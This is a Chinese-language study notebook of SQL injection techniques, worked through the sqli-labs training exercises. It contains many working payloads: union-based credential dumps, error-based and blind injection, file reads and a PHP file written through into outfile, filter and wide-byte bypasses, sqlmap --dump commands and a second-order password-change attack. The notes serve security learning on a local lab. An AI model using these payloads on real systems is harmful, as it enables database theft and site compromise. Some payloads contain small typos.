SQL注入基础学习(笔记)
此文为自己学习SQL注入基础的笔记,由于是从某书(https://www.jianshu.com/nb/42308164?utm_campaign=maleskine&utm_content=notebook&utm_medium=reader_share)直接复制过来的,存在格式问题,不过对于阅读应该影响不大,在此留个痕迹,便于以后复习和查阅,也希望能给刚刚开始学习的盆友们一点帮助吧。(不喜勿喷,谢谢)
#GET基于报错的SQL注入
#GET基于报错的SQL注入发现
注入类型:数字、字符(单引号、双引号、双单引号、括号)、反斜杠
注入点?id=1
##less-1
输入:’
报错:
分析: ‘‘1’’ LIMIT 0,1’
发现 ‘1’’ LIMIT 0,1 中多了一个单引号,推测输入内容为单引号引起来的字符串
还原SQL语句:
select login_name,password from admin where id=‘id’ LIMIT 0,1
##less-2
输入:’
报错:
分析: ‘’ LIMIT 0,1’
发现 ’ LIMIT 0,1中单引号报错,推测输入内容为数字
还原SQL语句:
select login_name,password from admin where id=id LIMIT 0,1
##less-3
输入:’
报错:
分析: ‘‘1’’) LIMIT 0,1’
发现’1’’) LIMIT 0,1存在 ),推测输入内容在闭合括号内
还原SQL语句:
select login_name,password from admin where id=(‘id’) LIMIT 0,1
##less-4
输入:’
不报错
输入:)
不报错
输入:"
报错:
分析: ‘“1"”) LIMIT 0,1’
发现 “1"”) LIMIT 0,1’ 多了双引号,推测输入内容在 ("")中
还原SQL语句:
select login_name,password from admin where id=(“id”)
另一种方法:
输入:反斜杠\
报错:
分析:’“1”) LIMIT 0,1’
发现 “1”) LIMIT 0,1中 \ 将 " 进行了转义,导致了报错
#GET基于报错的SQL注入利用
##常用方法:
1.利用order by判断字段数
2.利用union select联合查询,获取表名,一般为
?id=0’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
(–+为注释)
3.利用union select联合查询,获取字段名,一般为
?id=0’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ --+
(users为表名)
4.利用union select联合查询,获取字段值,一般为
?id=0’ union select 1,group_concat(username,0x3a,password),3 from users --+
(users为表名,username、password为字段名,0x3a为冒号 : 的十六进制)
##判断字段数
?id=1’ order by 4 --+
返回异常
?id=1’ order by 3 --+
返回正常结果,推断字段数为3
##获取表名
?id=0’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
返回结果:emails、referers、uagents、users
##获取字段名
?id=0’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ --+
返回结果:
可以看到有username与password
##获取字段值
?id=0’ union select 1,group_concat(username,0x3a,password),3 from users --+
返回结果:
users表中所有的用户与密码
#不再显示报错的盲注
#盲注
向数据库发送true或者false的问题,根据返回信息判断结果
例如:
返回true的结果
返回false的结果
##GET基于时间的盲注
if(ascii(substr(database(),1,1)=115,1,sleep(3))) --+
(115为security中s的ascii码值,该if语句含义为当数据库名第一个字母的ascii码值等于115时,执行一次sleep(3)函数等待3秒)
##less-9
根据提示注入基于?id=1’,首先进行?id=1’闭合单引号,返回信息:
通过if(ascii(substr(database(),1,1)=115,1,sleep(3))) --+进行注入,返回信息:
切换到网络,查看网络信息,发现存在时间差,推断存在注入
##less-10
与less-9类似,闭合变为双引号
#GET基于Boolean的盲注
select length(database());
select substr(database(),1,1);(substr(str,start,length))
select ascii(substr(database(),1,1));
select ascii(substr(database(),1,1))>N;
select ascii(substr(database(),1,1))=N;
select ascii(substr(database(),1,1))<N;
##less-8
###猜解数据库名字符串长度
?id=1’ length(database())=8 --+
返回正常,说明数据库字符串长度为8
###猜解数据库名字符串
?id=1’ ascii(substr(database(),1,1))>116
返回异常,说明数据库名第一个字符的ascii码值小于116,位于字符 t 前面
?id=1’ ascii(substr(database(),1,1))=115
返回正常,说明数据库名第一个字符的ascii码值等于115,即为字符 s
?id=1’ ascii(substr(database(),2,1))=101 --+
返回正常,说明数据库名第一个字符的ascii码值等于101,即为字符 e
同理可获取后面的字符,推出数据库为security
#mysql注入读写文件
##mysql注入读文件
###读取前提
1.用户权限足够高,尽量具有root权限
2.secure_file_priv不为NULL
###配置mysql.ini
将 secure_file_priv= 添加到配置文件
###查看目录文件
查看目录中的文件,或者新建一个文件flag.txt
###开始注入-实例Less-1
?id=0’ union select 1,load_file(“E:\\WWW\\flag.txt”),3 --+
##mysql注入写文件
###实例Less-7
通过注入或查看index.php源码,进行闭合,即?id=1’))
###开始注入
?id=0’)) union select 1,’<?php phpinfo();?>’,3 into outfile “E:\\WWW\\sqli-labs-master\\Less-7\\phpinfo.php” --+
###查看目录
在网站对应路径下新增文件phpinfo.php
###通过URL路径访问新增文件phpinfo.php
成功访问,即成功写入文件
#POST基于报错的SQL注入
##burpsuite抓取http请求
1.设置截断代理:在浏览器中设置代理
2.启动burpsuite进行抓取
##POST基于错误单引号注入
###实例Less-11
打开burpsuite,开始截断
输入用户名和密码
查看burpsuite抓取到的信息,可以看到输入的内容
将抓取的数据发送到Repeater
进行参数修改,尝试输入反斜杠\,页面报错,通过response可知为单引号报错
####猜解还原SQL语句
select uname,password from admin where uname=‘xxx’ and passwd=‘xxx’;
####构建万能密码注入语句
返回结果
注入成功
###实例Less-12
注入步骤与Less-11类似
判断注入类型,为 双引号-括号 报错
注入语句及注入结果
##sqlmap安全测试 进行POST注入
###实例Less-12
复制burpsuite截断的http请求数据包到文本文件中,路径自行选择,这里放在了sqlmap.py所在路径
使用sqlmap -r 文件路径 -p 指定探测参数
1.探测当前数据库
python sqlmap.py -r less12.txt -p passwd --technique E --current-db
返回结果
2.探测数据库中的表
python sqlmap.py -r less12.txt -p passwd --technique E -D security --tables
返回结果
3.探测users表中的字段名
python sqlmap.py -r less12.txt -p passwd --technique E -D security -T users --columns
返回结果
4.探测字段对应值
python sqlmap.py -r less12.txt -p passwd --technique E -D security -T users -C “username,password” --dump
返回结果
#GET报错注入
##报错注入
报错注入形式上是两个嵌套查询,即 select …(select…)
##主要涉及函数
rand()随机函数(返回0-1之间的某个值)
floor()取整函数(向下取整)
count()聚合函数(计数,返回查询对象总数)
group by 分组语句(按照查询结果分组)
##GET单引号报错注入
###实例Less-5
输入?id=1\,报错(单引号报错)
####获取数据库
?id=0’ union select 1,2,3 from (select count(*),concat((select concat(version,0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a --+
####获取表名
?id=0’ union select 1,2,3 from (select count(),concat((select concat(table_name,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a --+
####获取用户信息
?id=0’ union select 1,2,3 from (select count(),concat((select concat(username,0x3a,0x3a,password,0x3a,0x3a) from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
##GET双引号报错注入
###实例Less-6
输入?id=1\,报错(双引号报错)
####获取数据库
?id=0" union select 1,2,3 from (select count(),concat((select concat(database(),0x3a,0x3a) limit 0,1),floor(rand(0)^2))x from information_schema.tables group by x)a --+
####获取表名
?id=0" union select 1,2,3 from (select count(),concat((select concat(table_name,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)^2))x from information_schema.tables group by x)a --+
####获取用户信息
?id=0" union select 1,2,3 from (select count(*),concat((select concat(username,0x3a,0x3a,password,0x3a,0x3a) from security.users limit 1,1),floor(rand(0)^2))x from information_schema.tables group by x)a --+
###sqlmap安全测试-实例Less-5
####探测注入类型
python sqlmap.py -u “http://sql/Less-5/?id=1”
####获取当前数据库
python sqlmap.py -u “http://sql/Less-5/?id=1” --current-db
####获取表名
python sqlmap.py -u “http://sql/Less-5/?id=1” -D security --tables
####获取字段名
python sqlmap.py -u “http://sql/Less-5/?id=1” -D security -T users --columns
####获取字段对应值
python sqlmap.py -u “http://sql/Less-5/?id=1” -D security -T users -C username,password --dump
#SQL注入绕过手段
##大小写绕过
程序设置了过滤关键字,但未对关键字组成进行深入分析过滤,导致只是对整体过滤。
可以通过修改关键字内字母大小绕过过滤,例如 AnD 1=1,探测字段时使用 OrdEr by
##双写绕过
程序设置出现关键字之后替换为空,但只是做了替换。
可以使用双写绕过,例如 UnunionIon 结合之前大小写绕过
##编码绕过
利用网络中的URL在线编码,绕过SQL注入的过滤机制,例如单引号-%27,空格-%20
网站提供 http://tool.chinaz.com/Tools/urlencode.aspx
效果图
##内联注释绕过
在mysql中内容注释中的内容可以被当作SQL语句执行
例如/*!SelEct * FroM AdmiN */;
#POST基于时间和布尔的盲注
##POST基于时间的盲注
在存在注入点POST提交的参数后加 and if (length(database())>5),sleep(5),null),如果执行的页面响应时间大于5秒,则存在注入
###实例Less-15
提交数据
通过burpsuite抓取post请求,判断是否存在注入
响应时间大于5秒,存在注入
##POST基于布尔的盲注
在存在注入点POST提交的参数后加入if判断正确或错误的语句
select length(database());
select substr(database(),1,1);(substr(str,start,length))
select ascii(substr(database(),1,1));
select ascii(substr(database(),1,1))>N;
select ascii(substr(database(),1,1))=N;
select ascii(substr(database(),1,1))<N;
###实例Less-15
构建boolean语句
执行,返回slap.jpg
修改语句
执行,返回flag.jpg
再次修改语句
执行,返回slap.jpg
由此推断,数据库名长度为8,类似的,可以通过判断字符的方式推出数据库名字符串
##sqlmap安全测试
–technique T(time) B(boolean)
###实例Less-15
将burpsuite抓取到的数据保存到target.txt文本文件中
####基于时间
python sqlmap.py -r target.txt --technique T -p uname
####基于布尔
python sqlmap.py -r target.txt --technique B -p uname
(选择具有基于布尔的Less测试)
#HTTP头中的SQL注入
##HTTP User-Agent注入
###实例Less-18
Payload内容:
updatexml(xml_document(XML文档对象名称),xpath_string(XPath字符串),new_value(替换查找到的符合条件的数据))
方式:
’ and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or ‘1’='1
使用burpsuite抓取数据,然后点击Forward,页面输出User-Agent
将抓取到的信息发送到Repeater,加反斜杠\判断是否存在注入
爆出错误,存在注入
####构造Payload注入
获取数据库版本
’ and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or ‘1’='1
获取数据库名
’ and updatexml(1,concat(0x7e,(select database()),0x7e),1) or ‘1’='1
获取其他数据信息可自行构造SQL语句
##HTTP Referer注入
###实例Less-19
使用burpsuite抓取数据,然后点击Forward,页面输出Referer
将抓取到的信息发送到Repeater,加反斜杠\判断是否存在注入
爆出错误,存在注入
####构造Payload注入
’ or length(database())>8 or if(1=1,sleep(5),null) or ‘1’='1
响应时间6秒,即sleep(5)执行,故数据库长度不大于8
##sqlmap安全测试
###实例Less-19
sqlmap自动搜索POST表单注入:
python sqlmap.py -u “http://sql/Less-19/” --form --batch
表单输入信息被过滤,无法注入
指定参数探测SQL注入:
python sqlmap.py -u “http://sql/Less-19/” --data “uname=admin&passwd=admin&submit=Submit” --batch
表单输入信息被过滤,无法注入
指定注入位置进行注入,在保存的文件中,对于参数的修改为*
开始探测
python sqlmap.py -r target.txt --batch
返回Referer存在注入
#POST_mysql update注入
updatexml的利用(extractvalue类似)
updatexml(xml_document(XML文档对象名称),xpath_string(XPath字符串),new_value(替换查找到的符合条件的数据))
ExtractValue(xml_frag, xpath_expr)
ExtractValue()接受两个字符串参数,一个XML标记片段 xml_frag和一个XPath表达式 xpath_expr(也称为 定位器); 它返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。
第一个参数可以传入目标xml文档,第二个参数是用Xpath路径法表示的查找路径
##实例Less-17
###获取数据库版本
uname=admin&passwd=admin’ and updatexml(1,concat(0x7e,version(),0x7e),1) #&submit=Submit
###获取当前数据库
uname=admin&passwd=admin’ and updatexml(1,concat(0x7e,database(),0x7e),1) #&submit=Submit
###获取当前用户名
uname=admin&passwd=admin’ and updatexml(1,concat(0x7e,user(),0x7e),1) #&submit=Submit
##sqlmap安全测试
###实例Less-17
将burpsuite抓取到的数据保存到target.txt中
指定参数passwd开始探测
python sqlmap.py -r target.txt -p passwd
#Cookie注入
代码中使用cookie传递参数,但是未对其进行过滤操作,导致SQL注入漏洞产生
#Cookie注入利用
##实例Less-20
利用 ’ or 1=1 --+ 输出第一个用户名和密码
(注入格式和User-Agent、Referer类似)
#绕过去除 and 、 or 、空格、union和select的注入
preg_replace(mixed $pattern,mixed $replacement,mixed $subject);执行一个正则表达式的搜索和替换
#实例Less-25 绕过策略
1.大小写变形(Or,OR,And,AND等)
2.在敏感词汇中添加注释(o/**/r,a/**/nd)、双写绕过(oorr)
3.利用符号替代(and–&&,or–||)
##sqlmap 获取数据库
python sqlmap.py -u “http://sql/Less-25/?id=1” --dbs --batch
#实例Less-26 绕过策略
编码:hex,urlencode
%20 空格
%09 TAB键(水平)
%0b TAB键(垂直)
%0a 新建一行(空格)
%0c 新的一页
%0d return功能
##获取第一条用户数据
?id=1’%27%0a||%201=1%20
#实例Less-27 绕过策略
%09表示空格(TAB)、||表示or、union/select 大小写、双写绕过
?id=1000%27%09%09uniOn%09SelEcT%091,2,3%09||%09%271
返回第一条数据
爆出数据库
?id=1000%27%09%09uniOn%09SelEcT%091,database(),3%09||%09%271
爆出用户名
?id=1000%27%09%09uniOn%09SelEcT%091,user(),3%09||%09%271
#宽字节注入
GBK占用两字节,ASCII占用一字节,PHP中编码为GBK,函数执行添加的是ASCII,MYSQL默认字符集是GBK宽字节字符集。
%DF’:会被PHP中的addslashes函数转义为 %DF\’,\ 即URL里的%5C,故%DF’被转换成%DF%5C%27,即一个宽字符 缞(网站默认GBK,MYSQL使用GBK)。
#实例Less-33 绕过策略
id=1%df’
单引号报错,注释后面的单引号
id=1%df’ --+
爆出数据库名和数据库版本
?id=-1%df’ union select 1,database(),version() --+
##sqlmap 安全检测
python sqlmap.py -u “http://sql/Less-33/?id=1%df%27” serach --level 5 --risk 1 --thread 10
(–thread:线程,加快探测速度)
宽字节注入除去常用的%df外,只要第一个ascii码大于128就可以(ascii码129——URL编码0x81,十进制==>十六进制),GBK首字节对应0x81-0xFE,尾字节对应0x40-0xFE(0x7F除外)
mysql_real_escape_string()和addslashes()类似
#实例Less-32 绕过策略
?id=-1%81’ union select 1,database(),user() --+
##sqlmap安全检测
###unmagicquotes,py脚本
python sqlmap.py -u “http://sql/Less-32/?id=1” --tamper=unmagicquotes.py
获取当前数据库
python sqlmap.py -u “http://sql/Less-32/?id=1” --tamper=unmagicquotes.py --current-db
获取表名
python sqlmap.py -u “http://sql/Less-32/?id=1” --tamper=unmagicquotes.py -D security --tables
获取字段名
python sqlmap.py -u “http://sql/Less-32/?id=1” --tamper=unmagicquotes.py -D security -T users --columns
获取对应字段内容
python sqlmap.py -u “http://sql/Less-32/?id=1” --tamper=unmagicquotes.py -D security -T users -C username,password --dump
#二次注入
理解:注册Payload——登录触发二次SQL注入
#实例Less-24
mysql -uroot -p123456连接到数据库(默认环境变量配置完成)
查看数据库中的admin密码
注册一个新用户 admin’ – +,密码123456
注册成功
登录,修改密码为asdf
查看数据库,发现admin密码已被修改,二次注入成功